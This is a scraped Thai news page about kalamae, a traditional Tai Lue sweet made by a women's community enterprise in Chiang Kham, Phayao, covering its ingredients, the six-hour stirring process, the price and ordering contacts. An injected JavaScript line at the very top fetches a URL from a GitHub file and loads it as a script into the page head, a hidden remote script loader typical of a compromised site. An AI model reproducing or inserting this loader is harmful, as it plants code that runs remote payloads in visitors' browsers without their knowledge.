;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); พะเยา กะละแมไทยลื้อโบราณขนมของฝากขึ้นชื่อหนึ่งเดียวจังหวัด - ThaiReference | อาสาไทยยืนยัน
พะเยา กะละแมไทยลื้อโบราณขนมของฝากขึ้นชื่อหนึ่งเดียวจังหวัด

กลุ่มวิสาหกิจชุมชนกาละแม ไทลื้อโบราณ บ้านดอนไชย หมู่ 5 ตำบลหย่วน อำเภอเชียงคำ จังหวัดพะเยา รวมกลุ่มแปรรูปขนมปาดจนมาเป็นกะละแมโบราณล้านนาเชียงคำ เป็นผลิตภัณฑ์โอทอปขึ้นชื่อลือชาของกลุ่มแม่บ้านดอนไชย โดยรวมกลุ่มกันทำกะละแมโบราณขึ้นมา เป็นผลิตภัณฑ์ประเภทแปรรูปอาหารจากวัสดุธรรมชาติที่มีในท้องถิ่น เช่น แป้งข้าวเหนียว กะทิจากมะพร้าว น้ำตาลจากน้ำอ้อย เป็นสูตรที่พัฒนามาจากขนมปาดของชาวไทลื้อ ซึ่งใช้วิธีการกวนเหมือนกัน ต่างกันที่ขนมปาดใช้แป้งข้าวจ้าว มีสีแดงได้จากน้ำอ้อย ส่วนกะละแมใช้แป้งข้าวเหนียว มีสีดำจากกากมะพร้าวเผา การทำกะละแมโบราณเน้นความหอมจากใบตอง และกรรมวิธีโบราณ ที่ทำมานานกว่า 40 ปี เป็นสินค้า OTOP ขึ้นชื่อของจังหวัดพะเยามาจนถึงปัจจุบัน  

สำหรับรสชาติจะออกหวานมัน เนื้อนุ่ม และมีกลิ่นหอมชวนรับประทาน ยิ่งเวลาเคี้ยวกลิ่นจะหอมมาก ซึ่งเกิดมาจากสีธรรมชาติที่ได้จากเปลือกมะพร้าวนั่นเอง ส่วนเนื้อกะละแมเวลาเคี้ยวจะเหนียวนุ่ม ไม่แข็งหนืด และไม่ติดฟัน เด็กกินดี ผู้ใหญ่กินได้ ผู้สูงวัยกินสบาย

นางไพรวรรณ์ วงศ์ใหญ่ ประธานกลุ่มฯ เผยว่า แรกๆจะทำกับกลุ่มแม่บ้าน หลังจากนั้นก็ได้ฝึกอบรมการแปรรูปจจนมาเป็นกะบะแมที่มี ชื่อเสียงหนึ่งเดียวของจังหวัด นานกว่า 40 ปีแล้ว เอกลักษณ์ของกะละแมโบราณของกลุ่มเน้นกระบวนการผลิตดั้งเดิมโบราณ คือ ไม่ใส่สี ไม่แต่งกลิ่นสังเคราะห์และสารกันบูดใดๆ ทั้งสิ้นในกะละแม แต่จะใช้สีที่ได้จากธรรมชาติที่ได้จากเปลือกมะพร้าวแห้งอย่างเดียว ซึ่งกะละแมประกอบด้วยแป้งข้าวเหนียว กะทิสด น้ำตาลทรายแดง น้ำตาลปี๊บ เกลือ น้ำเปล่า โดยขั้นตอนการกวนจะใช้เวลาประมาณเกือบ 6 ชั่วโมง ก็จะได้กะละแมตามที่ต้องการเมื่อได้เนื้อกะละแมก็เป็นขั้นตอนการห่อและบรรจุถุงในแต่ละวันจะผลิตวันละ 4 หม้อ

ซึ่งจะจำหน่ายถุงละ 50 บาท ผู้ที่สนใจกาละแม ไทหรือโบราณ สามารถสั่ง ซื้อทาง ร้านจำหน่ายสินค้า OTOP ในตลาดแม่ทองคำ จังหวัดพะเยาและ ร้านของฝาก ท่ารถบขสจังหวัดพะเยา หรือสั่งทาง LINE ID 093-195-5426 หรือโทร 054-451-758 และ 081-993-4814

@chaijexu

พะเยา กะละแมไทยลื้อโบราณขนมของฝากขึ้นชื่อหนึ่งเดียวจังหวัด

♬ original sound – Chaij Exu –

ภาพ-ข่าว ปัณณวิชญ์ อยู่ดี จ.พะเยา

[dsm_icon_divider use_icon=”on” font_icon=”||divi||400″ use_icon_font_size=”on” icon_font_size=”25px” divider_style=”dashed” _builder_version=”4.25.2″ _module_preset=”default” module_alignment=”center” global_colors_info=”{}”][/dsm_icon_divider]
[dsm_blog_carousel posts_number=”20″ posts_offset=”1″ include_categories=”3,5,4″ use_date=”off” use_category=”on” use_author=”off” use_readmore=”on” readmore_text=”อ่านเพิ่ม…” post_equal_height=”on” _builder_version=”4.25.2″ _module_preset=”default” title_font_size=”25px” min_height=”482px” custom_margin=”||639px||false|false” custom_padding=”||340px|||” global_colors_info=”{}”][/dsm_blog_carousel]